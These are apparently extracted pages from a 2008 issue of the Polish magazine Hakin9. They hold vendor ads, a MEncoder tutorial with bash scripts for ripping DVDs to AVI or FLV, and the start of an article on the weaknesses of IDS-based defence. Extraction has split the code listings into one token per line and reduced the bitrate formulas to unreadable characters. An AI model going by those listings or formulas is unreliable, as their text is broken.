robert.gontarski@software.com.pl

tel.: 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl działa na rynku usług hostingo-
wych od 2000 roku. Do naszych za-
dowolonych Klientów z dumą możemy
zaliczyć wiele przedsiębiorstw sektora
MSP, instytucji oraz osób prywatnych.
W ofercie Kei.pl znajdują się pakiety ho-
stingowe, a także usługi dla wymagają-
cych Użytkowników – platformy

e-Biz-

nes oraz serwery fizyczne.

http://www.kei.pl

Sokra-NET

Działa od roku 2002, specjalizuje się
w szeroko pojętym bezpieczeństwie in-
formacji. Posiada wykwalifikowany spe-
cjalnie do tych celów zespół inżynierów
którzy przy współpracy z naszymi klien-
tami maksymalizują bezpieczeństwo
danych, audytując i dobezpieczając.
Wykonujemy testy penetracyjne, ana-
lizy kodów źródłowych, testy wydajno-
ściowe aplikacji i ich środowisk telein-
formatycznych. Wdrażamy polityki bez-
pieczeństwa. Wspomagamy naszych
partnerów merytorycznie.

www.sokra.net

background image

64

OBRONA

HAKIN9 6/2008

N

a początku ustalmy pewne fakty.
Kodowanie lub przetwarzanie materiału
wideo z jednego formatu na inny tak

naprawdę rozpoczyna się od wyboru trzech
parametrów: kodeka wideo, kodeka audio
oraz kontenera. Czym są tzw. kodeki, każdy
pewnie wie. Czym jest zatem kontener? Można
powiedzieć, że jest to format pliku, jednak
mówiąc najbardziej ogólnie – kontener to
opakowanie zawierające materiał audio i
wideo. Zastanówmy się zatem, za pomocą
jakich kodeków będziemy kodować oraz jaki
format pliku chcemy uzyskać.

Najpopularniejsze formaty plików to

oczywiście: AVI, MPEG oraz Ogg (zapis
nazwy jako OGG jest błędny). Należy jednak
wspomnieć jeszcze, że MEncoder obsługuje
formaty plików dostępne w pakiecie
libavformat. Są to między innymi: mpg, avi, asv,
wav, swf, flv, rm, au, nut , mov, mp4 i dv. Trudno
byłoby jednogłośnie rozstrzygnąć, który z
wymienionych powyżej formatów jest najlepszy.
Takie pojęcie jak najlepszy chyba nie jest
zresztą adekwatne dla żadnego z nich. Każdy
ma swoje plusy oraz minusy.

Weźmy na pierwszy ogień AVI (ang. Audio

Video Interleave). Bardzo istotną rzeczą, o
której należy wspomnieć, jest fakt, że program
MEncoder został napisany właśnie z myślą o
tym formacie. Wprowadziła go w 1992 roku
firma Microsoft. Kodowanie w tym formacie
ma jedną, niezaprzeczalną zaletę – daje

ŁUKASZ CIESIELSKI

gwarancję, że plik zostanie odtworzony na
każdym stacjonarnym odtwarzaczu DVD.
Jeżeli film będzie oglądany na odtwarzaczu
stacjonarnym, to świetnym rozwiązaniem jest
również MPEG (ang. Moving Picture Experts
Group
), ponieważ każdy tego typu odtwarzacz
bez problemu odczyta taki plik.

Aktualnie jednak ten format zdecydowanie

ustąpił pola AVI. Doskonale wiedzą to ci, którzy
pobierają lub udostępniają materiały filmowe
w Sieci.

Z myślą o miłośnikach wolnego

oprogramowania powstał kontener Ogg.
Został on stworzony przez fundację Xiph.org.
Podobnie jak powyższe formaty, daje
możliwość wykorzystania kodeków XviD oraz
MP3. Wystarczy jednak, że MP3 zamienimy
na wolny od opłat kodek dźwięku Vorbis i
uzyskamy materiał filmowy całkowicie zgodny z
ideą wolnego oprogramowania. Wartym uwagi
jest także wspomniany pakiet libavformat. To
właśnie dzięki niemu możemy tworzyć takie
pliki jak: flv, mp4 czy mov.

Dostępne w naszym systemie kontenery

możemy sprawdzić poleceniem

mencoder -of

help

. Problem polega na tym, że aplikacja ta

została stworzona z myślą o kontenerze AVI, więc
obsługa wszystkich innych ma charakter bardziej
eksperymentalny niż stabilny. Dlatego też zaleca
się stosowanie właśnie AVI. Pragnę jednak
zaprezentować, jak można stworzyć (a właściwie
spróbować stworzyć, bo nikt nie gwarantuje,

Stopień trudności

MEncoder

– vademecum

ripowania

Każdy zabierający się do czytania tego artykułu zapewne wie,

czym jest MEncoder. Wspomnę jedynie, że wchodzi on w skład

pakietu odtwarzacza multimedialnego – MPlayer. Możliwości

MEncodera są ogromne. Właściwie można nim przekonwertować

każdy materiał wideo z jednego formatu na inny.

Z ARTYKUŁU

DOWIESZ SIĘ

jak stworzyć kopię zapasową

płyty DVD,

w jaki sposób dokonac

konwersji materiau audio i wideo

na inny format,

jak dodać napisy do materiału

filmowego.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawowe polecenia

konsolowe (cd, cp, mv itp.),

znać cechy wybranych kodeków

audio i wideo (xvid, mp3 itp.).

background image

65

MENCODER - VADEMECUM RIPOWANIA

HAKIN9

6/2008

że operacja ta się uda) plik wyjściowy o
rozszerzeniu FLV (czyli Flash Video, bardzo
powszechnie stosowany w obecnych
czasach ze względu na małą objętość
pliku). Otóż posłużymy się poleceniem

-

of lavf

. Ogólna postać polecenia, które

wydamy MEncoderowi może być taka:

Skoro zdecydowaliśmy już, w jakim

formacie będzie nasz wyjściowy plik,
przejdźmy do kodeków dźwięku i obrazu.
Zacznijmy od sprawdzenia bibliotek
dostępnych w naszym systemie.
Używamy do tego poleceń

mencoder -

oac help

oraz

mencoder -ovc help

.

Pierwsze wyświetli listę kodeków dla
dźwięku, natomiast drugie – dla obrazu.
Przykładowa lista kodeków audio to: copy,
pcm, mp3lame, lavc, twolame, faac,
natomiast wideo: copy, frameno, raw, nuv,
lavc, vfw, qtvideo, libdv, xvid oraz x264.

Zastanówmy się, których kodeków

będziemy używać najczęściej.
Najpopularniejsze formaty dźwięku to MP3
(skompresowany) lub AC3 (oryginalny,
nieskompresowany). Jeśli chodzi o
kodowanie obrazu, to tutaj górują: XVID,
LAVC (kompatybilny z DIVX 5), a także
X264. Nie pozostaje nam nic innego, jak
powiedzieć: Do dzieła!

Charakterystyka

najważniejszych kodeków

Częstym problemem jest dylemat
związany z kodekami. Tabela 1.
przedstawia obsługiwane przez program
MEncoder kodeki dźwięku, natomiast
Tabela 2. – kodeki obrazu. Zestawienie to
będzie pewnym ułatwieniem, które pozwoli
wybrać dokładnie takie formaty, jakie
nam odpowiadają. Ponadto mnogość
dostępnych bibliotek jest tak duża, że
czasami nawet doświadczony użytkownik
programu musi przez moment się
zastanowić, co powinien wybrać. Każda
biblioteka została krótko opisana, gdyż
nie zawsze nazwa wskazuje na swoiste
właściwości danego kodeka.

Warto zwrócić uwagę, że aby

zakodować materiał audio do formatu
MP3, mamy do dyspozycji aż trzy kodeki:

mp3lame, toolame, oraz twolame.
Wynika to zapewne z faktu, że jest
to najpopularniejszy format dźwięku
w dzisiejszych czasach. W praktyce
używa się trzech formatów dźwięku:
wspomnianego MP3, AC-3 lub Vorbis.

Podstawowa składnia

Zasadnicza składnia programu nie
jest skomplikowana. Te wszystkie
skomplikowanie wyglądające parametry
to tak naprawdę dodatkowe polecenia,
mające na celu poprawić jakość pliku
wyjściowego.

Oto najprostszy schemat polecenia

wydawanego MEncoderowi:

mencoder źródło -oac kodek _
dźwięku -ovc kodek _ obrazu -o
plik _ wyjściowy

Rysunek 1.

Wzór pozwalający obliczyć

bitrate dla materiału filmowego

��������

����������������������������

������������������

� � ��

����



�

Rysunek 2.

Wzór pozwalający obliczyć

rozmiar materiału filmowego przy

wykorzystaniu danego bitrate

��������

������������

����������

���� ����







��

Tabela 1.

Obsługiwane kodeki dźwięku

mp3lame

kodowanie na MP3 VBR, ABR lub przy

użyciu LAME

toolame

kodowanie na MP3

twolame

kodowanie na MP3

lavc

kodeki audio z rodziny libavcodec: mp2,

ac3, adpcm_ima_wav, sonic

faac

koder audio FAAC AAC

pcm

nieskompresowany dźwięk PCM

copy

nie konwertuje dźwięku, tylko kopiuje w

oryginalnej postaci

Tabela 2.

Obsługiwane kodeki obrazu

xvid

Xvid, kodek MPEG-4 Advanced Simple

Profile (ASP)

x264

x264, MPEG-4 Advanced Video Coding

(AVC), zwany kodekiem H.264

lavc

kodeki wideo z rodziny libavcodec: mpeg4

(kompatybilne z DivX5 oraz XviD), mjpeg,

ljpeg, h261, h263, h263p, msmpeg4

(DivX3), msmpeg4v2, wmv1 (Windows

Media Video), wmv2 (Windows Media

Video), rv10 (Real Video), rv20 (Real Video),

mpeg1video, mpeg2video, huffyuv, asv1,

asv2, ffv1, svq1, flv (Flash Video), dvvideo

(Sony Digital Video), snow

nuv

nuppel video, używany przez niektóre

aplikacje czasu rzeczywistego

raw

nieskompresowane klatki video

frameno

używany do kodowania trójprzebiegowego

(nie jest zalecane)

copy

nie przekodowuje, tylko kopiuje

zakodowane ramki

Listing 1.

Konwersja formatu AVI na

FLV

mencoder wejście.avi -of lavf -
oac mp3lame
-lameopts
abr:br=60
-ovc lavc
-lavcopts
vcodec=flv:
vbitrate=500
-o wyjście.flv

background image

OBRONA

66

HAKIN9 6/2008

MENCODER - VADEMECUM RIPOWANIA

67

HAKIN9

6/2008

DVD: AVI

(MP3, XVID, 2-PASS)

Jesteśmy w posiadaniu płyty DVD
z filmem i chcemy wykonać kopię
zapasową. Najprościej będzie
skompresować dźwięk i obraz. Jako
kontener wybierzmy AVI (żeby można
było oglądać film na stacjonarnym
odtwarzaczu DVD), kodek dźwięku MP3,
natomiast obrazu – XVID. MEncoder
jest bardzo elastyczny, jeżeli chodzi o
ustawienia. Mamy możliwość kodowania
jedno-, dwu-, lub nawet trzystopniowego.
W przypadku kompresji jednostopniowej
od razu jest tworzony plik wynikowy. To
szybka metoda, ale też jakość obrazu
jest słaba. Polecam kodowanie dwu- lub
trzystopniowe. W tym wypadku najpierw
zakładane są pliki tymczasowe, a
następnie w drugim (lub analogicznie
trzecim) przebiegu jest tworzony plik
wynikowy.

Najlepszą jakość otrzymamy

oczywiście w przypadku trzystopniowego
kodowania – niestety, nie ma nic za
darmo. Jak można się domyślić, istnieje
pewna zależność: im lepszą jakość
chcemy uzyskać, tym więcej czasu
musimy przeznaczyć na kodowanie.

Zastanówmy się jeszcze, czy chcemy,

aby nasz plik wyjściowy mieścił się
na jednej, czy np. dwóch płytach CD.
Przerabianie filmu bezpośrednio z
płyty jest niewskazane, ponieważ jest
to proces z jednej strony powolny,
a z drugiej – niszczy napęd CD-ROM.
Zaleca się zawsze kopiowanie pliku
wejściowego na dysk, a po zakończeniu
prac nad nim – po prostu jego
usunięcie. Rozpoczynamy od kopiowania
(przy założeniu, że film ma być na jednej
płycie CD):

Kopia płyty będzie się znajdować w

katalogu /tmp. Teraz możemy przystąpić
do konwersji. Jak wcześniej ustaliliśmy,
materiał audio i wideo będzie kodowany
dwustopniowo. Zaczynamy od pierwszego
kroku:(Listing 8.)

Wygląda skomplikowanie, ale takie

nie jest. Na początku wskazujemy
ścieżkę do pliku tymczasowego (

/tmp/

/tytul _ filmu-cache

), następnie

ustawiamy parametry dźwięku (tutaj
format MP3) oraz obrazu (kodek XviD,
bitrate 900 i pierwszy przebieg). Na
koniec podajemy dodatkowe filtry

Listing 2.

Zgrywanie filmu DVD do postaci pliku roboczego (tzw. dumpfile)

mplayer dvd://1

-dvd-device /dev/

dvd -v -v -dumpstream -dumpfile
"/tmp//tytul_filmu-cache"
unlink frameno.avi 2> /dev/null

Listing 3.

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

dvd

:

//

1

-

dvd

-

device

/

dev

/

dvd

-

v

-

v

-

dumpstream

-

dumpfile

"/tmp//tytul_filmu-

cache"

unlink

frameno

.

avi

2

>

/

dev

/

null

mencoder

/

tmp

//

tytul_filmu

-

cache

-

oac

mp3lame

-

lameopts

abr

:

br

=

128

-

aid

128

-

ovc

xvid

-

xvidencopts

bitrate

=

900

:

pass

=

1

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:

-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

128

-

o

"/dev/null"

mencoder

/

tmp

//

tytul_filmu

-

cache

-

oac

mp3lame

-

lameopts

abr

:

br

=

128

-

aid

128

-

ovc

xvid

-

xvidencopts

bitrate

=

900

:

pass

=

2

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:

-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

128

-

o

"/home/lucas/tytul_filmu.avi"

unlink

divx2pass

.

log

2

>

/

dev

/

null

unlink

"/tmp//tytul_filmu-cache"

Listing 4.

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

dvd

:

//

1

-

dvd

-

device

/

dev

/

dvd

-

v

-

v

-

dumpstream

-

dumpfile

"/tmp//tytul_filmu-

cache"

unlink

frameno

.

avi

2

>

/

dev

/

null

mencoder

/

tmp

//

tytul_filmu

-

cache

-

oac

copy

-

aid

128

-

ovc

xvid

-

xvidencopts

bitrate

=

900

:

pass

=

1

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

128

-

o

"/dev/null"

mencoder

/

tmp

//

tytul_filmu

-

cache

-

oac

copy

-

aid

128

-

ovc

xvid

-

xvidencopts

bitrate

=

900

:

pass

=

2

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

128

-

o

"/home/lucas/tytul_filmu.avi"

unlink

divx2pass

.

log

2

>

/

dev

/

null

unlink

"/tmp//tytul_filmu-cache"

Listing 5.

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

dvd

:

//

1

-

dvd

-

device

/

dev

/

dvd

-

chapter

7

-

12

-

v

-

v

-

dumpstream

-

dumpfile

"/tmp//

moje_pliki-2-cache"

mplayer

dvd

:

//

1

-

dvd

-

device

/

dev

/

dvd

-

chapter

1

-

6

-

v

-

v

-

dumpstream

-

dumpfile

"/tmp//

moje_pliki-1-cache"

eject

/

dev

/

dvd

unlink

frameno

.

avi

2

>

/

dev

/

null

mencoder

/

tmp

//

moje_pliki

-

1

-

cache

-

oac

copy

-

aid

129

-

ovc

xvid

-

xvidencopts

bitrate

=

1633

:

pass

=

1

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

129

-

o

"/dev/null"

mencoder

/

tmp

//

moje_pliki

-

1

-

cache

-

oac

copy

-

aid

129

-

ovc

xvid

-

xvidencopts

bitrate

=

1633

:

pass

=

2

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

129

-

o

"/home/lucas/moje_pliki-1.avi"

unlink

divx2pass

.

log

2

>

/

dev

/

null

unlink

"/tmp//moje_pliki-1-cache"

mencoder

/

tmp

//

moje_pliki

-

2

-

cache

-

oac

copy

-

aid

129

-

ovc

xvid

-

xvidencopts

bitrate

=

1740

:

pass

=

1

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

129

-

o

"/dev/null"

mencoder

/

tmp

//

moje_pliki

-

2

-

cache

-

oac

copy

-

aid

129

-

ovc

xvid

-

xvidencopts

bitrate

=

1740

:

pass

=

2

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

129

-

o

"/home/lucas/moje_pliki-2.avi"

unlink

divx2pass

.

log

2

>

/

dev

/

null

unlink

"/tmp//moje_pliki-2-cache"

background image

OBRONA

66

HAKIN9 6/2008

MENCODER - VADEMECUM RIPOWANIA

67

HAKIN9

6/2008

(

pp=dd, hqdn3d=2:1:2

). Ich użycie

jest zalecane, gdyż znacznie poprawiają
jakość materiału wyjściowego. Jeszcze
tylko skalujemy obraz – przy czym
należy wspomnieć, że najlepsze efekty
daje szerokość obrazu 640 p. Wysokość
jest dopasowana automatycznie.

Można również zauważyć, że

MEncoder daje możliwość tzw.
docinania obrazu (

crop

). W powyższym

przykładzie nie stosujemy tego, więc
podano

crop=0:0:0:0

. Liczby te

oznaczają kolejno szerokość, wysokość
oraz współrzędne lewego dolnego rogu
wycinanego fragmentu obrazu. Teraz
pozostało jedynie uruchomić drugi
przebieg i gotowe! (Listing 7.)

Jedyną innowacją jest tu konkretna

ścieżka dla pliku wynikowego. Jedyne,
co musimy teraz zrobić, to usunąć
pozostałości po kodowaniu (czyli pliki
tymczasowe):

unlink divx2pass.log 2> /dev/null
unlink "/tmp/
/tytul_filmu-cache"

Osobiście polecam stworzenie pliku np.
Konwersja.sh o treści przedstawionej na
Listingu 3.

Aby uruchomić taki plik, wydajemy

polecenie

sh Konwersja.sh

i... możemy

zająć się czymś innym, ponieważ
kodowanie zajmie dłuższą chwilę.

DVD: AVI

(AC3, XVID, 2-PASS)

W powyższym przykładzie dźwięk
został skompresowany. Czasem jednak
zależy nam, aby pozostał oryginalny,
przestrzenny. Aby go wydobyć, wystarczy
jedynie zamienić

mp3lame -lameopts

abr:br=128

na

copy

. Teraz program

nie będzie kompresował dźwięku, lecz
dosłownie skopiuje go takim, jaki jest.
Skrypt powinien wyglądać następująco:
(Listing 4)

Jeżeli zamierzasz używać

oryginalnego dźwięku przestrzennego,
to rekomenduje się kodowanie filmu
w dwóch plikach (lub jednym dużym,
ale jest to niepraktyczne), ponieważ
gwarantuje to zachowanie bardzo dobrej
jakości.

Poniżej zamieszczę gotowy skrypt,

gdyż własnoręczne podawanie

Listing 6.

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

dvd

:

//

1

-

dvd

-

device

/

dev

/

dvd

-

v

-

v

-

dumpstream

-

dumpfile

"/tmp//moje_pliki-

cache"

eject

/

dev

/

dvd

unlink

frameno

.

avi

2

>

/

dev

/

null

mencoder

/

tmp

//

moje_pliki

-

cache

-

oac

mp3lame

-

lameopts

abr

:

br

=

128

-

ovc

frameno

-

o

frameno

.

avi

mencoder

/

tmp

//

moje_pliki

-

cache

-

oac

copy

-

ovc

xvid

-

xvidencopts

bitrate

=

778

:

pass

=

1

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

o

"/dev/

null"

mencoder

/

tmp

//

moje_pliki

-

cache

-

oac

copy

-

ovc

xvid

-

xvidencopts

bitrate

=

778

:

pass

=

2

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

o

moje_

pliki

.

avi

unlink

frameno

.

avi

2

>

/

dev

/

null

unlink

divx2pass

.

log

2

>

/

dev

/

null

unlink

"/tmp//moje_pliki-cache"

Listing 7.

Konwersja materiału filmowego z DVD na AVI

#!/bin/bash

mplayer

dvd

:

//

1

-

dvd

-

device

/

dev

/

dvd

-

chapter

7

-

12

-

v

-

v

-

dumpstream

-

dumpfile

"/tmp//

film-2-cache"

mplayer

dvd

:

//

1

-

dvd

-

device

/

dev

/

dvd

-

chapter

1

-

6

-

v

-

v

-

dumpstream

-

dumpfile

"/tmp//

film-1-cache"

eject

/

dev

/

dvd

unlink

frameno

.

avi

2

>

/

dev

/

null

mencoder

/

tmp

//

film

-

1

-

cache

-

oac

mp3lame

-

lameopts

abr

:

br

=

128

-

ovc

frameno

-

o

frameno

.

avi

mencoder

/

tmp

//

film

-

1

-

cache

-

oac

copy

-

ovc

xvid

-

xvidencopts

bitrate

=

1633

:

pass

=

1

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

o

"/dev/null"

mencoder

/

tmp

//

film

-

1

-

cache

-

oac

copy

-

ovc

xvid

-

xvidencopts

bitrate

=

1633

:

pass

=

2

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

o

film

-

1.

avi

unlink

frameno

.

avi

2

>

/

dev

/

null

unlink

divx2pass

.

log

2

>

/

dev

/

null

unlink

"/tmp//film-1-cache"

mencoder

/

tmp

//

film

-

2

-

cache

-

oac

mp3lame

-

lameopts

abr

:

br

=

128

-

ovc

frameno

-

o

frameno

.

avi

mencoder

/

tmp

//

film

-

2

-

cache

-

oac

copy

-

ovc

xvid

-

xvidencopts

bitrate

=

1740

:

pass

=

1

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

o

"/dev/null"

mencoder

/

tmp

//

film

-

2

-

cache

-

oac

copy

-

ovc

xvid

-

xvidencopts

bitrate

=

1740

:

pass

=

2

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:-

2

,

hqdn3d

=

2

:

1

:

2

-

o

film

-

2.

avi

unlink

frameno

.

avi

2

>

/

dev

/

null

unlink

divx2pass

.

log

2

>

/

dev

/

null

unlink

"/tmp//film-2-cache"

Rysunek 3.

Proces kodowania materiału filmowego (największe obciążenie systemu)

background image

OBRONA

68

HAKIN9 6/2008

kolejnych linijek byłoby dość uciążliwe i
czasochłonne.(Listing 5.)

Jeszcze tylko jedna uwaga. Skąd

wiadomo, że należy skopiować rozdziały

-chapter 1-6

i

-chapter 7-12

?

Należy to wcześniej sprawdzić. Używamy
do tego polecenia:

ls /media/cdrom/VIDEO_TS | grep VOB

Wyświetli ono listę plików *.VOB,
czyli nasz materiał wejściowy. Jeżeli
będzie ich 12, to należy zdefiniować
parametr chapter tak, jak w powyższym
przykładzie. Jeśli natomiast będzie ich
10, to podajemy 1-5 i 6-10.

DVD: AVI

(MP3, XVID, 3-PASS)

Aby w tekście niczego nie zabrakło,
zaprezentuję jeszcze trzystopniowy
proces kompresji. W pierwszym kroku
będzie kodowany dźwięk, a w dwóch
pozostałych obraz. Daje to oczywiście
najlepszą z możliwych jakość kompresji,
jednak zabiera też mnóstwo czasu. Tak,
jak wcześniej materiał wstępny zostanie
skopiowany na dysk twardy, do katalogu
z plikami tymczasowymi.

Dla jednego pliku wynikowego skrypt

będzie wyglądał następująco:(Listing
6). A tak będzie to wyglądało, jeśli

zdecydujemy się, aby film znajdował się
w dwóch plikach:(Listing 7.)

Jak obliczyć bitrate?

Poniżej przedstawię dwa wzory, które
pozwalają w przybliżeniu obliczyć bitrate
oraz rozmiar pliku wynikowego. Pierwszy
służy do obliczenia odpowiedniego
bitrate dla materiału filmowego o
określonej wielkości i długości.(Rysunek
1. i 2.)

Rozmiar – rozmiar materiału

filmowego (obrazu) wyrażony w MB,

Długość – długość materiału

filmowego wyrażona ostatecznie w
sekundach.

AVI : AVI (MP3, LAVCODEC)

Czasem zachodzi konieczność
przetworzenia pliku AVI również na AVI,
lecz używając do tego innych kodeków
i np. zmieniając rozdzielczość. Załóżmy,
że do kompresji posiadanego przez
nas filmu użyto XviD'a, a nam zależy,
żeby film był zakodowany przy pomocy
Lavcodec. Nie stanowi to żadnego
problemu. Analogicznie wygląda to w
przypadku innych bibliotek. (Listing 10.)

RMVB: AVI (MP3, XVID)

Najprostszym sposobem konwersji pliku
RMVB na AVI jest użycie polecenia:

mencoder film.rmvb -oac
mp3lame -ovc xvid -xvidencopts
bitrate=900 -o film.avi

Oczywiście możemy również dodać kilka
opcji upiększających, np.

-vf pp=de,

crop=0:0:0:0, scale=640:-2,
hqdn3d=2:1:2

. Wciskamy [ENTER] i nie

pozostaje nam nic innego, jak radosne
oczekiwanie na plik AVI.

Jak scalić

napisy z plikiem wideo?

Niektóre odtwarzacze DVD mają problem
z odczytywaniem napisów do filmów
umieszczonych w oddzielnych plikach.
Najlepszym (a przynajmniej najszybszym)
rozwiązaniem jest scalenie napisów i
filmu w jeden zbiór. Poniżej podam prosty
sposób na wykonanie tej czynności: (Listing
11.) Osobiście polecam na początek użycie
dodatkowej opcji, którą można wstawić na
samym końcu komendy – a mianowicie

-endpos 10mb

. MEncoder przekonwertuje

pierwsze 10 MB filmu, dzięki czemu
będziemy mogli sprawdzić, czy wynik
końcowy nam odpowiada (np. czy czcionka
dobrze wygląda).

Podsumowanie

Można śmiało potwierdzić zdanie
wielu doświadczonych użytkowników
systemów Linux, że MEncoder należy
do czołówki najlepszych programów
kodujących materiał wideo.

Obsługa nie należy do najprostszych,

jednak efekty oraz szybkość działania
zdumiewają wszystkich. Można oczywiście
skorzystać ze specjalnej nakładki na
MEncoder, czyli AcidRip. Została ona
napisana w Perlu, a jej zadanie od
początku było jasne: połączyć doskonałość
MEncodera z prostotą GUI. Może jednak
warto się trochę potrudzić i pracować
w konsoli, ponieważ zaoszczędzi nam
to trochę czasu. MEncoder należałoby
szczególnie polecić początkującym,
ponieważ zaawansowani użytkownicy
systemu już dawno docenili jego ogromne
możliwości.

Łukasz Ciesielski

Autor od 8 lat jest pasjonatem programowania (C/C++,

Qt, GTK, Pascal, Java oraz Assembler), natomiast od

7 lat jest wiernym użytkownikiem systemów typu Linux

(obecnie Debian Etch).

Kontakt z autorem: lucas.ciesielski@gmail.com

Listing 8.

Pierwszy stopień kodowania materiału filmowego

mencoder

/

tmp

//

tytul_filmu

-

cache

-

oac

mp3lame

-

lameopts

abr

:

br

=

128

-

aid

128

-

ovc

xvid

-

xvidencopts

bitrate

=

900

:

pass

=

1

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:

-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

128

-

o

"/dev/null"

Listing 9.

Drugi stopień kodowania materiału filmowego

mencoder

/

tmp

//

tytul_filmu

-

cache

-

oac

mp3lame

-

lameopts

abr

:

br

=

128

-

aid

128

-

ovc

xvid

-

xvidencopts

bitrate

=

900

:

pass

=

2

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

640

:

-

2

,

hqdn3d

=

2

:

1

:

2

-

aid

128

-

o

"/ścieżka/do/filmu/tytul_filmu.avi"

Listing 10.

Zmiana parametrów pliku AVI

mencoder

plik_wej

ś

ciowy

.

avi

-

oac

mp3lame

-

lameopts

abr

:

br

=

128

-

ovc

lavc

-

lavcopts

vcodec

=

mpeg4

:

vhq

:

v4mv

:

vqmin

=

2

:

vbitrate

=

900

-

vf

pp

=

de

,

crop

=

0

:

0

:

0

:

0

,

scale

=

480

:-

2

,

hqdn3d

=

2

:

1

:

2

-

o

plik_wyj

ś

ciowy

.

avi

Listing 11.

Polecenie pozwalające na scalenie napisów z plikiem video

mencoder

plik_wej

ś

ciowy

.

avi

-

oac

copy

-

ovc

xvid

-

xvidencopts

fixed_quant

=

5

-

sub

napisy

.

txt

-

subcp

cp1250

-

font

/

scie

ż

ka

/

do

/

czcionka

.

ttf

-

o

plik_wyj

ś

ciowy

.

avi

background image
background image

70

OBRONA

HAKIN9 6/2008

I

ncydent Titan Rain i kolejne publicznie
ujawnione przypadki penetracji sieci
rządowych Stanów Zjednoczonych, Wielkiej

Brytanii i Niemiec obnażają rzeczywiste „dziury”
w systemach i małą sprawność ich właścicieli
w rozpoznawaniu zagrożeń. Powtarzające się,
specyficzne przypadki nieautoryzowanego
dostępu do informacji wskazują na istnienie grup
działających w sposób zorganizowany i celowy.

W międzyczasie w międzynarodowym

sektorze prywatnym rosną nakłady na
infrastrukturę i procesy bezpieczeństwa. Okazuje
się jednak, że nakłady te nie są z jakiegoś powodu
skuteczne. W 2005 roku amerykańska firma
TJX stała się publicznym przykładem błędów i
zaniedbań bezpieczeństwa. Analizując informacje
prasowe z ostatnich lat jasno wynika, że nie
jest to przykład odosobniony. W ciagu ostatnich
dwóch lat niemal 1000 innych organizacji zostało
zmuszone do przyznania się do włamań głównie
powiązanych ze stratami danych osobowych
klientów.

Jeśli kluczowe dane mogą być kradzione

z taką łatwością przez zorganizowane
grupy przestępcze, stwierdzenie, że wyniki
najcenniejszych badań i inne wartościowe
ekonomicznie informacje we wszystkich sektorach
gospodarki również mogą zostać przejęte przez
opłaconych bądź przypadkowych sprawców,
nie jest nadużyciem. Dlaczego zatem nie mamy
bardziej gruntownej wiedzy na temat tych
zagrożeń?

EDDIE SCHWARTZ,

PRZEMYSŁAW KREJZA

Z ARTYKUŁU

DOWIESZ SIĘ

o słabych punktach dzisiejszych

zabezpieczeń systemowych,

co to jest total network

knowledge,

jak wygląda spojrzenie śledcze

na incydenty.

CO POWINIENEŚ

WIEDZIEĆ

powinieneś znać podstawy

zasad bezpieczeństwa

informacji,

powinieneś znać podstawy

reakcji na incydenty.

Technologia nie

jest zaawansowana

Skala zagrożeń istotnie zwiększyła się w ostatnich
latach jednak systemy bezpieczeństwa sieci
tak naprawdę nie stały się znacznie bardziej
zaawansowane. Od czasu gdy wprowadzono
na rynek pierwsze systemy IDS, podejście
do bezpieczeństwa wcale się nie zmieniło,
wzrosły jedynie nakłady i pojawiły kolejne
wersje oprogramowania. Pierwotne założenie
systemów wykrywania włamań utrzymuje się
do tej pory, choć było odpowiednie dla tamtych
czasów: aby incydent został wykryty, atak
musi być udokumentowany i wprowadzony do
monitoringu, jako wzór sygnatur lub zachowań,
najczęściej na zasadzie zewnętrznych definicji
firm dostarczających dane rozwiązanie.
Sensory IDS wymagają wielu wyjątków w celu
eliminacji błędnych alarmów z właściwego ruchu
sieciowego. Ponadto zastosowanie IDS na dużą
skalę generuje tak dużo zdarzeń, że wyłonienie ich
z poziomu szumów jest bardzo trudne, w związku
z czym administratorzy bezpieczeństwa uznają
konieczność wprowadzenia oprogramowania do
zarządzania wyjątkami (SIEM) w celu poprawienia
poziomu szumów. Jednak cała ta infrastruktura
ciągle bazuje na kilku niekompletnych i wadliwych
założeniach, ugruntowując następujące poglądy
na zagrożenia:

• Przeciwnik atakuje używając znanych metod,

